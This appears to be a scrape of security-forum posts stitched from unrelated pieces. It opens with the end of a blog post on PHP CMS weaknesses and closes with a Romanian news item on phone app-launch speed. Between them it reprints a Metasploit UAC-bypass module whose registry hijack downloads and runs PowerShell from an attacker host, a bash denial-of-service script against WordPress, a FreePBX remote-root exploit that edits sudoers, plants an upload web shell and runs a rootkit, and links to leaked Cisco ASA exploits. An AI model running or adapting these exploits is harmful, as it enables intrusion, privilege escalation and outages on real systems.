Note: Thanks to Mark Babker, this will be fixed in a future version of Joomla. As of 3.6.2, out of Joomla's database drivers, only the PDO driver attempts to support prepared statements. Unfortunately, it is not successful due to a poorly thought out default setting in PHP itself: In order to use actual prepared statements, you have to disable emulated prepared statements. Instead of this: $pdo = new PDO(/* ... */); Do this: $pdo = (new PDO(/* ... */)) // Turn off emulated prepares. ->setAttribute(PDO::ATTR_EMULATE_PREPARES, false) // Optional, but also recommended: ->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION) ; As long as the developers working with Joomla's PDO database driver take care to disable emulation, Joomla offers prepared statements. However, this security property isn't included out-of-the-box, and as of 3.6.2, doesn't apply to the default MySQLi driver. Joomla Doesn't Employ Context-Aware Output Escaping Modern web applications use templating engines, such as Twig, which provide context-aware output escaping features to mitigate cross-site scripting vulnerabilities. For example, in the following code snippet, user_data.title will be escaped differently thanuser_data.body, particularly with respect to quote characters. <span title="{{ user_data.title|e('html_attr') }}">{{ user_data.body|e('html') }}</span> Instead, Joomla just blacklists HTML tags in an attempt to prevent the low-hanging fruit. Security experts refer to this as enumerating badness, which is listed as one of the six dumbest ideas in computer security. Security Deficits in Drupal's Core Drupal Does Not Offer Automatic Updates Drupal doesn't offer automatic security updates. In the event that a security vulnerability is discovered in Drupal and a fix is released, it's up to every individual Drupal site operator to validate and install the update manually. Until the patch is applied, your systems are vulnerable. This has already happened once before. Possibly due to the existence of a historical precedent, some of the Drupal core members are seriously working towards implementing secure automatic updates into Drupal. We've offered the team members some guidance on how to proceed (i.e. since libsodium isn't currently an option for most of their userbase, they're stuck with RSA signatures, which even developers with cryptography experience frequently implement incorrectly). Drupal Almost Offers Prepared Statements ...except Drupal goes out of its way to use emulated prepared statements instead of actual prepared statements, even though emulated prepared statements suffers from the same fundamental security problem as escaping then concatenating strings. Code and data separation is not upheld. Drupal uses SHA512Crypt which is Sub-Optimal There's minor disagreement among cryptographers about which password hashing functions will remain strong against hash cracking in the coming years. Of all the acceptable options, PBKDF2 is certainly the weakest one, and SHA512Crypt is very similar to PBKDF2-SHA512 for practical purposes. Drupal supports a minimum of PHP 5.5, which means they could just as easily migrate topassword_hash() and password_verify(), since those functions are guaranteed to exist. If PHP adopts Argon2i in a future version, Drupal will automatically support it as soon as it becomes the default, with no further code changes necessary. Everything is Going to Be Okay All of these security flaws baked into the cornerstones of the software that powers one third of websites on the Internet can be very discouraging. Fortunately, most of these problems are fixable. Refer to how we solved each problem in CMS Airship, for example. Unfortunately, there are a lot of nontechnical obstacles in the way of making WordPress, Drupal, and Joomla more secure. WordPress developers proudly boast that WordPress powers 1 in 4 websites, and pride themselves on supporting unsupported versions of PHP as a "usability" feature rather than a security liability that could potentially break the Internet for everyone. At the end of the day, there are two ways to solve this dilemma: Get the core teams for each large CMS project to take security seriously. Migrate towards a CMS project that already takes security seriously. We leave answering which solution is better as an exercise for the reader. We're actively pursuing both goals in the hopes that one will move the needle towards a more secure Internet. Permalink About the Author P.I.E. Staff Paragon Initiative Enterprises Paragon Initiative Enterprises is an Orlando-based company that provides software consulting, application development, code auditing, and security engineering services. We specialize in PHP Security and applied cryptography. Sursa: https://paragonie.com/blog/2016/08/on-insecurity-popular-open-source-php-cms-platforms

chimera_pe ChimeraPE demo: maps another executable into the target process and runs both. This is an alternative method to the classic RunPE (process hollowing) - can be used in case if we want to run the original exe also. WARNING: This is a 32-bit version. 64-bit variant coming soon. Link: https://github.com/hasherezade/demos/tree/master/chimera_pe

Windows - Fileless UAC Protection Bypass Privilege Escalation (Metasploit) ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Post::File include Post::Windows::Priv include Post::Windows::Runas include Post::Windows::Registry include Post::Windows::Powershell def initialize(info={}) super( update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass with Fileless', 'Description' => %q{ This module will bypass Windows UAC by utilizing eventvwr.exe and hijacking entries registry on Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Graeber', 'Enigma0x3', 'Pablo Gonzalez' # Port to local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/' ],['URL','http://www.elladodelmal.com/2016/08/como-ownear-windows-7-y-windows-10-con.html'], ], 'DisclosureDate'=> "Aug 15 2016" )) register_options([ OptString.new('FILE_DYNAMIC_PAYLOAD',[true,'Payload PSH Encoded will be generated here (Not include webserver path)']), OptString.new('IPHOST',[true,'IP WebServer where File Payload will be downloaded']), OptBool.new('LOCAL',[true,'File Payload is in this machine?',true] ), ]) end def check_permissions! # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end def exploit validate_environment! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good 'UAC is set to Default' print_good 'BypassUAC can bypass this setting, continuing...' when UAC_NO_PROMPT print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" runas_method return end keys = registry_enumkeys('HKCU\Software\Classes\mscfile\shell\open\command') if keys == nil print_good("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command not exist!") end key = registry_createkey('HKCU\Software\Classes\mscfile\shell\open\command') reg = "IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')" command = cmd_psh_payload(payload.encoded, 'x86',{:remove_comspec => true,:encode_final_payload => true}) if datastore['LOCAL'] if File.exists?("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}") File.delete("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}") end file_local_write("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}",command) end result = registry_setvaldata('HKCU\Software\Classes\mscfile\shell\open\command','bypass','C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C ' + reg,'REG_SZ') if result execute_script("cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcANwBiADAASABZAEIAeABKAGwAaQBVAG0ATAAyADMASwBlADMAOQBLADkAVQByAFgANABIAFMAaABDAEkAQgBnAEUAeQBUAFkAawBFAEEAUQA3AE0ARwBJAHoAZQBhAFMANwBCADEAcABSAHkATQBwAHEAeQBxAEIAeQBtAFYAVwBaAFYAMQBtAEYAawBEAE0ANwBaADIAOAA5ADkANQA3ADcANwAzADMAMwBuAHYAdgB2AGYAZQA2AE8ANQAxAE8ASgAvAGYAZgAvAHoAOQBjAFoAbQBRAEIAYgBQAGIATwBTAHQAcgBKAG4AaQBHAEEAcQBzAGcAZgBQADMANQA4AEgAegA4AGkALwBxAC8ALwArADkAZgA0ADMAWAA2AE4AKwB0AGQAWQAvAHgAcgB0AHIANQBIADkARwB1AG0AdgA4AFIAbgA5AC8ANgBOAGYANAA5AHUALwB4AHUALwAxAGEANQB6ADgARwBsAC8AOQBHAG8AOQArAGoAZAAvADMAMQAzAGoAOQBhADEAUwAvAHgAagBsADkAZQAwAFgAZgAxADcAOQBHAFQAcAArAGMALwBCAG8AbAAvAGQANwBRAGYAegBuADkALwAvAGYAOQBOAFIAYgAwADcANQBUAGEARgBQAFEANQB2AG0AOQArAGoAVABuADkATABPAG0ALwAzADUAZgBlAFgAZABIAHYAUwAvAHAAdABTAHIAOAB2ADYATAArAE0ALwBwAHAAUgBIADcALwB4AHIANQBGAFEAegB4AFgAQgBuAEgARQBMADYAWAB2AHIAMQAvAGkAYwAvAG0AcAAvAGoAZQAxAGYANAA0AHoAKwB6AGEAbgA5AFMAMgBvAGgAVQBHAHIANgA1AEoAcgBhAGIATgBOAG4ARwBmADAAKwBwADkAOQA5ADMATABkAC8AagBSAGYAMABjADAARQB0ADAAMQAvAGoANAAxADkAagBRAG0AMQBYAGkAdQBmAEgAdgA4AGEAZABYADIATQBjAGYASQBMAGUAWAAxAEQATABLADYAKwBuAEwAcgBSAG4AagBOADIAVQA0AGYAMABNAC8AYgAvAGIAUABvAGEAWgBqADgASABXAHIALwBHAFUAZgBqAHUAbgBUADkAWgBFAGkANQBaAHcAKwBKAGoAYgAvAEMAUgA5AFUAdABKAG4ATwBmAGYAbwBVADIAQwA3AEIALwBNAE4ANAA0AHkAVwBEAGYAMQBkAEUANAAyAFgAdgA4AFoARgBGAEwAcwB2AEcAWABOAGcAZwBOADcASwAvAHcAYwA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=") print_good('Created registry entries to hijack!') end r = session.sys.process.execute("cmd.exe /c c:\\windows\\system32\\eventvwr.exe",nil,{'Hidden' => true, 'Channelized' => true}) check_permissions! end def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system? winver = sysinfo['OS'] unless winver =~ /Windows Vista|Windows 2008|Windows [78]/ fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? print_status 'UAC is Enabled, checking level...' else if is_in_admin_group? fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end end Sursa: https://www.exploit-db.com/exploits/40268/

WordPress 4.5.3 - Directory Traversal / Denial of Service Path traversal vulnerability in WordPress Core Ajax handlers Abstract A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site. Contact For feedback or questions about this advisory mail us at sumofpwn at securify.nl The Summer of Pwnage This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam. OVE ID OVE-20160712-0036 See also - CVE-2016-6896 - CVE-2016-6897 - #37490 - Improve capability checks in wp_ajax_update_plugin() and wp_ajax_delete_plugin() Tested versions This issue was successfully tested on the WordPress version 4.5.3. Fix WordPress version 4.6 mitigates this vulnerability by moving the CSRF check to the top of the affected method(s). Introduction WordPress is web software that can be used to create a website, blog, or app. A path traversal vulnerability exists in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site. Details The path traversal vulnerability exists in the file ajax-actions.php, in particular in the function wp_ajax_update_plugin(). The function first tries to retrieve some version information from the target plugin. After this is done, it checks the user's privileges and it will verify the nonce (to prevent Cross-Site Request Forgery). The code that retrieves the version information from the plugin is vulnerable to path traversal. Since the security checks are done at a later stage, the affected code is reachable by any logged on user, including Subscribers. Potentially this issue can be used to disclose information, provided that the target file contains a line with Version:. What is more important that it also allows for a denial of service condition as the logged in attacker can use this flaw to read up to 8 KB of data from /dev/random. Doing this repeatedly will deplete the entropy pool, which causes /dev/random to block; blocking the PHP scripts. Using a very simple script, it is possible for an authenticated user (Subscriber) to bring down a WordPress site. It is also possible to trigger this issue via Cross-Site Request Forgery as the nonce check is done too late in this case. Proof of concept The following Bash script can be used to trigger the denial of service condition. #!/bin/bash target="http://<target>" username="subscriber" password="password" cookiejar=$(mktemp) # login curl --cookie-jar "$cookiejar" \ --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \ "$target/wp-login.php" \ >/dev/null 2>&1 # exhaust apache for i in `seq 1 1000` do curl --cookie "$cookiejar" \ --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \ "$target/wp-admin/admin-ajax.php" \ >/dev/null 2>&1 & done rm "$cookiejar" Sursa: https://www.exploit-db.com/exploits/40288/

FreePBX 13 / 14 - Remote Command Execution With Privilege Escalation #!/usr/bin/env python # -*- coding, latin-1 -*- ###################################################### # # # DESCRIPTION # # FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net # # # # AUTHOR # # pgt - nullsecurity.net # # # # DATE # # 8-12-2016 # # # # VERSION # # freepbx0day.py 0.1 # # # # AFFECTED VERSIONS # # FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) # # # # STATUS # # Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908 # # # # TESTED AGAINST # # * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso # # * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso # # # # TODO # # * SSL support (priv8) # # * parameter for TCP port # # # # HINT # # Base64 Badchars: '+', '/', '=' # # # ################################################################################ ''' Successful exploitation should looks like: [*] enum FreePBX version [+] target running FreePBX 13 [*] checking if target is vulnerable [+] target seems to be vulnerable [*] getting kernel version [!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 .... [+] Linux x86_64 platform [*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine [*] triggering incrond to gaining root permissions via sudo [*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD! [*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine [*] checking if we gained root permissions [!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root) [+] adding view.php to admin/.htaccess [*] creating upload script: admin/libraries/view.php [*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php [*] removing view.php from admin/.htaccess [*] rm -f admin/libraries/view.php [!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23 [*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers [*] removing all temp files [!] have fun and HACK THE PLANET! ''' import base64 import httplib import optparse import re from socket import * import sys import time BANNER = '''\033[0;31m ################################################################################ #___________ ________________________ ___ ____________ # #\_ _____/______ ____ ____\______ \______ \ \/ / /_ \_____ \ # # | __) \_ __ \_/ __ \_/ __ \| ___/| | _/\ / | | _(__ < # # | \ | | \/\ ___/\ ___/| | | | \/ \ | |/ \ # # \___ / |__| \___ >\___ >____| |______ /___/\ \ |___/______ / # # \/ \/ \/ \/ \_/ \/ # # _______ .___ # # \ _ \ __| _/____ ___.__. * Remote Root 0-Day # # / /_\ \ ______ / __ |\__ \< | | # # \ \_/ \ /_____/ / /_/ | / __ \ \___ | # # \_____ / \____ |(____ / ____| # # \/ \/ \/\/ # # # # * Remote Command Execution Exploit (FreePBX 14 is affected also) # # * Local Root Exploit (probably FreePBX 14 is also exploitable) # # * Backdoor Upload + Execute As Root # # # # * Author: pgt - nullsecurity.net # # * Version: 0.1 # # # ################################################################################ \033[0;m''' def argspage(): parser = optparse.OptionParser() parser.add_option('-u', default=False, metavar='<url>', help='ip/url to exploit') parser.add_option('-r', default=False, metavar='<file>', help='Linux 32bit bd/rootkit') parser.add_option('-R', default=False, metavar='<file>', help='Linux 64bit bd/rootkit') parser.add_option('-a', default='/', metavar='<path>', help='FreePBX path - default: \'/\'') args, args2 = parser.parse_args() if (args.u == False) or (args.r == False) or (args.R == False): print '' parser.print_help() print '\n' exit(0) return args def cleanup_fe(): print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \ '\' from freepbx_engine' cmd = 'sed -i -- \' /echo \"asterisk ALL=(ALL) NOPASSWD\:ALL\">>' \ '\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine' command_execution(cmd) return def cleanup_lr(): print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \ '\' from launch-restapps' cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \ 'modules/restapps/launch-restapps.sh' command_execution(cmd) return def cleanup_htaccess(): print '[*] removing view.php from admin/.htaccess' cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \ 'config\\\\.php|ajax\\\\.php/g\' .htaccess' command_execution(cmd) return def cleanup_view_php(): print '[*] rm -f admin/libraries/view.php' cmd = 'rm -f libraries/view.php' command_execution(cmd) return def cleanup_sudoers(): print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers' cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL) NOPASSWD:ALL/d\' /etc/sudoers' command_execution(cmd) return def cleanup_tmpfiles(): print '[*] removing all temp files' cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null' command_execution(cmd) return def check_platform(response): if (response.find('Linux') != -1) and (response.find('x86_64') != -1): print '[+] Linux x86_64 platform' return '64' elif (response.find('Linux') != -1) and (response.find('i686') != -1): print '[+] Linux i686 platform' cleanup_tmpfiles() sys.exit(1) return '32' else: print '[-] adjust check_platform() when you want to backdoor ' \ 'other platforms' cleanup_tmpfiles() sys.exit(1) def check_kernel(response): if response.find('w00t') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 1 print '[!] Kernel: %s' % (response[start:end].replace('\\', '')) return check_platform(response[start:end]) def check_root(response): if response.find('uid=0(root)') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 2 print '[!] w00tw00t w3 r r00t - %s' % (response[start:end]) return else: print '[-] we are not root :(' cleanup_fe() cleanup_lr() cleanup_tmpfiles() sys.exit(1) def build_request(filename): body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \ '&command=convert&module=recordings' % (filename) content_type = 'application/x-www-form-urlencoded; charset=UTF-8' return content_type, body def filter_filename(response): start = response.find('localfilename":"w00t') + 16 end = response.find('.wav') + 4 return response[start:end] def post(path, content_type, body): h = httplib.HTTP(ARGS.u) h.putrequest('POST', '%s%s' % (ARGS.a, path)) h.putheader('Host' , '%s' % (ARGS.u)) h.putheader('Referer' , 'http://%s/' % (ARGS.u)) h.putheader('Content-Type', content_type) h.putheader('Content-Length', str(len(body))) h.endheaders() h.send(body) errcode, errmsg, headers = h.getreply() return h.file.read() def encode_multipart_formdata(fields, filename=None): LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] L.append('--' + LIMIT) if fields: for (key, value) in fields.items(): L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) if filename == None: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: audio/mpeg') L.append('') L.append('da') else: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: application/octet-stream') L.append('') L.append(open_file(filename)) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % (LIMIT) return content_type, body def create_fields(payload): fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru', 'systemrecording': '', 'filename': 'w00t%s' % (payload)} return fields def command_execution(cmd): upload_path = 'admin/ajax.php?module=recordings&command=' \ 'savebrowserrecording' cmd = base64.b64encode(cmd) payload = '`echo %s | base64 -d | sh`' % (cmd) fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) filename = filter_filename(response) content_type, body = build_request(filename) return post('admin/ajax.php', content_type, body) def check_vuln(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1: print '[-] target seems not to be vulnerable' sys.exit(1) upload_path = 'admin/ajax.php?module=recordings&command' \ '=savebrowserrecording' payload = 'w00tw00t' fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) if response.find('localfilename":"w00tw00tw00t') != -1: print '[+] target seems to be vulnerable' return else: print '[-] target seems not to be vulnerable' sys.exit(1) def open_file(filename): try: f = open(filename, 'rb') file_content = f.read() f.close() return file_content except IOError: print '[-] %s does not exists!' % (filename) sys.exit(1) def version13(): print '[*] checking if target is vulnerable' check_vuln() print '[*] getting kernel version' cmd = 'uname -a; echo w00tw00t' response = command_execution(cmd) result = check_kernel(response) if result == '64': backdoor = ARGS.R elif result == '32': backdoor = ARGS.r print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \ 'to freepbx_engine' cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\ ' \ 'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \ 'asterisk/bin/freepbx_engine' command_execution(cmd) print '[*] triggering incrond to gaining root permissions via sudo' cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart' command_execution(cmd) print '[*] waiting 20 seconds while incrond restarts applications' \ ' - /_!_\\ VERY LOUD!' time.sleep(20) cleanup_fe() #cleanup_lr() print '[*] checking if we gained root permissions' cmd = 'sudo -n id; echo w00tw00t' response = command_execution(cmd) check_root(response) print '[+] adding view.php to admin/.htaccess' cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \ 'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess' command_execution(cmd) print '[*] creating upload script: admin/libraries/view.php' cmd = 'echo \'<?php move_uploaded_file($_FILES["file"]' \ '["tmp_name"], "/tmp/23");?>\' > libraries/view.php' command_execution(cmd) print '[*] uploading %s to /tmp/23 via ' \ 'admin/libraries/view.php' % (backdoor) content_type, body = encode_multipart_formdata(False, backdoor) post('admin/libraries/view.php', content_type, body) cleanup_htaccess() cleanup_view_php() print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \ ' rm -f /tmp/23' cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23' setdefaulttimeout(5) try: command_execution(cmd) except timeout: ''' l4zY w0rk ''' setdefaulttimeout(20) try: cleanup_sudoers() cleanup_tmpfiles() except timeout: cleanup_tmpfiles() return def enum_version(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/config.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('FreePBX 13') != -1: print '[+] target running FreePBX 13' return 13 else: print '[-] target is not running FreePBX 13' return False def checktarget(): if re.match(r'^[0-9.\-]*$', ARGS.u): target = ARGS.u else: try: target = gethostbyname(ARGS.u) except gaierror: print '[-] \'%s\' is unreachable' % (ARGS.u) sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target, 80)) sock.close() if result != 0: '[-] \'%s\' is unreachable' % (ARGS.u) sys.exit(1) return def main(): print BANNER checktarget() open_file(ARGS.r) open_file(ARGS.R) print '[*] enum FreePBX version' result = enum_version() if result == 13: version13() print '[!] have fun and HACK THE PLANET!' return if __name__ == '__main__': ARGS = argspage() try: main() except KeyboardInterrupt: print '\nbye bye!!!' time.sleep(0.01) sys.exit(1) #EOF Sursa: https://www.exploit-db.com/exploits/40232/

Cisco ASA / PIX - Privilege Escalation (EPICBANANA) # Exploit Title: Cisco ASA / PIX - Privilege Escalation (EPICBANANA) # Date: 19-08-2016 # Exploit Author: Shadow Brokers # Vendor Homepage: http://www.cisco.com/ Full Exploit: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40271.zip Sursa: https://www.exploit-db.com/exploits/40271/

Cisco ASA 8.x - Authentication Bypass (EXTRABACON) # Exploit Title: Cisco ASA 8.X Authentication Bypass # Date: 17-08-2016 # Exploit Author: Equation Group # Vendor Homepage: Cisco # Software Link: Cisco # Version: Cisco ASA 8.X # Tested on: Cisco ASA 8.4.2 # CVE : Not sure Requirements: * SNMP read (public) string * Access to SNMP service * SSH port accessible Full Exploit: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40258.zip Sursa: https://www.exploit-db.com/exploits/40258/

Cel mai recent smartphone de top al celor de la Samsung, Galaxy Note 7, pierde la scor meciul cu iPhone 6S când vine vorba despre viteza de deschidere a aplicaţiilor. Galaxy Note 7 este un flagship proaspăt lansat. iPhone 6S face în curând un an de cât a intrat pe piaţă. Cu toate astea, smartphone-ul celor de la Apple se dovedeşte mult mai rapid decât phablet-ul tocmai lansat de Samsung, scrie News.ro. În testul publicat pe YouTube de către cei de la PhoneBuff a fost testată exclusiv viteza cu care sunt deschise acelaşi set de aplicaţii şi jocuri pe cele două telefoane. În total, cele două dispozitive au fost cronometrate pentru deschiderea a 14 aplicaţii şi jocuri. În final, iPhone 6S a încheiat testul după 1 minut şi 21 de secunde. Galaxy Note 7 a avut nevoie de 2 minute şi 4 secunde. Cea mai mare diferenţă dintre cele două dispozitive s-a făcut la nivelul jocurilor. Acestea au pornit semnificativ mai repede pe iPhone 6S decât pe Galaxy Note 7. Aceste rezultate s-au înregistrat în pofida faptului că Note 7 dispune de dotări hardware superioare. iPhone 6S foloseşte un procesor dezvoltat acum doi ani şi are 2 GB memorie RAM, în timp Note 7 are un procesor lansat acum 6 luni şi 4 GB memorie RAM. Concluzia logică este că software-ul face diferenţa. Un sistem de operare optimizat special pentru un anumit set de componente va fi net superior unuia scalat pentru rula pe sute de configuraţii posibile. Apple deţine controlul complet asupra iPhone şi poate optimiza sistemul de operare iOS pentru a rula cât mai eficient. Prin urmare şi cerinţele hardware sunt mai mici atunci când software-ul este optimizat corect. De cealaltă parte avem Android, care, la fel ca Windows pe PC-uri, trebuie să ruleze pe un număr foarte mare de dispozitive. Sarcina optimizării software-ului ar trebui să cadă pe producător. Acesta, însă, este ocupat cu lansarea într-un ritm alert a noi şi noi dispozitive şi nu se preocupă de acest aspect, încercând să compenseze cu dotările hardware. Ba chiar, mai mult, producătorul adaugă şi el sarcini suplimentare sistemului de operare, prin pre-instalarea de aplicaţii mai mult sau mai puţin inutile pentru utilizatori. Aşa se ajunge la discrepanţa majoră în care un telefon cu dotări net superioare rulează mult mai slab decât unul cu componente mai slabe, dar un software bine optimizat. Fanii Android se vor putea bucura de aşa ceva abia în momentul în care Google va dezvolta propriul smartphone şi va optimiza special sistemul de operare pentru el. Galaxy Note 7 este disponibil în România la un preţ de 3.900 de lei. Versiunea corespunzătoare de iPhone 6S, cu acelaşi spaţiu de stocare de 64 GB, costă aproximativ 3.800 de lei. Sursa: http://www.digi24.ro/Stiri/Digi24/Sci-tech/Gadget/cel+mai+rapid+telefon